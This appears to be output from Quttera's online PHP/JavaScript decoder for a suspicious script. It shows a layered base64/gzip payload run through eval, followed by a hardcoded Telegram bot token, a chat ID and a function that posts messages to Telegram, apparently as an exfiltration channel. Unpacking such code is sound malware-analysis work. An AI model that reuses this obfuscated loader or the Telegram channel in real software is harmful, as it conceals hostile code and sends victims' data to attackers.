Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$qOE9q0qdq5OoN6Tmq1lxzLY6 = 'eNoNzTeyo0AAANEDEcAMRhBsgPCDN8JlWIEQTnhOvz/uV9VDmK75OdKSQ1V6jT8bmo+QTMEsdghplaur2wS/5VUfw2ZZ7nPSVYsIOzh4NdKf5859V9xukNVkfsUF/umL4mbJFs6Cwm+xH3OyPM5LXB9SH0TPclf6ElIMaiBdx4CDOehKKrUhfu+9e/+oc2e5fdv9e98HUA7GiSDGLQxtB9ScahBvsmViKSZl0nUf6LOyrIN83A61vt8yqR72W0lH445ys7hfAfrpkU6ICVN8lzMHY+Cq5OC63KXJxpk0a+N51oEYRyRW95qA2OdXMTQiu3jddATG6z56GBg0jtivsAvf7BXOitvH2E/AxStpsrRGxkJ8+3zm3yIxi3jy0Y9prH2h68TCZ0Ppg7r7fBAfhfdx5GU2kiKv8leLJ5n8hV5HELif+5nCC+s28TPSwZupBDpsmzrPLI0QdkThImKXpLvvq4OF0Bm7e70Embp56O6LFyAj0Rn3KLCl7Bg1UCrdRwQDsYWd4t5dyPRppqNWC+62unGZ/zYZGRkoguL7UNehR+ajmnpglGdKGUIKWkZA/phsqhERv8xTDMviBrrYUis7QS6tND3e44uXS6Fh21aNf6QTrVB8WD3a9ekEUlLAV9jGRsT2vLkwRFgykxwgvv67fE3uWPWJb4GQw2+pZbcxixhbtjs7Z4luw4HHVXELZwNzmqF8DDGVC9D2g5OLDUecnGtzoQHOcFnVypvAYH5HSru2J2ZtKe7WuthyG0sf7zlwHrpzUKRS1xtjViuxczRgR/nqUda4BR9Oey9Zw6D4HGCJE4KmDh1XFYOP+ZAs0KxEgwdRUdFTxn22h30A5UJT6qnmRTLaZWuy28kzLCeTwTyK3jDeyB0yqI1oHSqGET5hxb6xb06fQL1RrVDzksnTHp3OkktzirzDTLIXYPNsc8tqczcfg7zThfDs0o6nFpgudWhN3RYpR9C26WjeL1erZXaJ1IS9UqbVYJR1hJ+RoiN5w5PrnsnJdcgoeFCEeHgLqJbEwnz74ZOLY8BU889u5DPqXPkQb+dT02FdZfJ12J3PSQa1hI6hmwnTOEabPRUQMiGRCXZeXFKTt1KYBxVtU8Er57+tnBTUQhZPAiN/pV6GYgaBt6N+04R0cCSdq59WApd+LumJRZdQT+w56F5i0nMhCTjEJH0+FeBeibGs+8epPldZAKV9vVtrxst3QMr6YC1QiR/CX2Ftp7clVnOAbIWklHmhZc7Ael+iIbKodHm8AZ0n0qzG40Exg2OX6EoipkoPMO/a2ZSd1Hlxf/w3/FrnsLxZ3sU2jyGu9NGJJhqu4RixxDul9iEoy3x733Gz7t0ahJgWmfKzv0eIH9q//8WruGQ=';
 eval(gzinflate(base64_decode(gzuncompress(base64_decode($qOE9q0qdq5OoN6Tmq1lxzLY6)))));

$telegram_bot_token = '5371075700:AAFGCBebiDX2nO_fjidLnGF_VtG6HU5WnC8';
$telegram_chat_id = '-1002257370109';
$enable_telegram_notification = true;

function sendTelegramNotification($token, $chatId, $message) {
    if (empty($token) || empty($chatId) || strpos($token, 'YOUR_') !== false || strpos($chatId, 'YOUR_') !== false) {
        error_log("Telegram Notification Error: Bot Token or Chat ID is not configured correctly.");
        return false;
    }

    $message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');

    $apiUrl = "https://api.telegram.org/bot{$token}/sendMessage";
    $params = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];

    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $apiUrl);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_error($ch);
        curl_close($ch);

        if ($response === false || $httpCode >= 400) {
            error_log("Telegram Notification cURL Error: Code={$httpCode}, Error='{$curlError}', Response='{$response}'");
            return false;
        }
        return true;

    } elseif (ini_get('allow_url_fopen')) {
        $options = [
            'http' => [
                'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
                'method'  => 'POST',
                'content' => http_build_query($params),
                'ignore_errors' => true,
                'timeout' => 10
            ]
        ];
        $context  = stream_context_create($options);
        $response = @file_get_contents($apiUrl, false, $context);

         if ($response === false || strpos($http_response_header[0], '200 OK') === false) {
             error_log("Telegram Notification file_get_contents Error: Headers='".implode(', ', $http_response_header ?? [])."', Response='{$response}'");
             return false;
         }
         return true;

    } else {
        error_log("Telegram Notification Error: cURL extension is not loaded AND allow_url_fopen is disabled in php.ini. Cannot send notification.");
        return false;
    }
}



© 2023 Quttera Ltd. All rights reserved.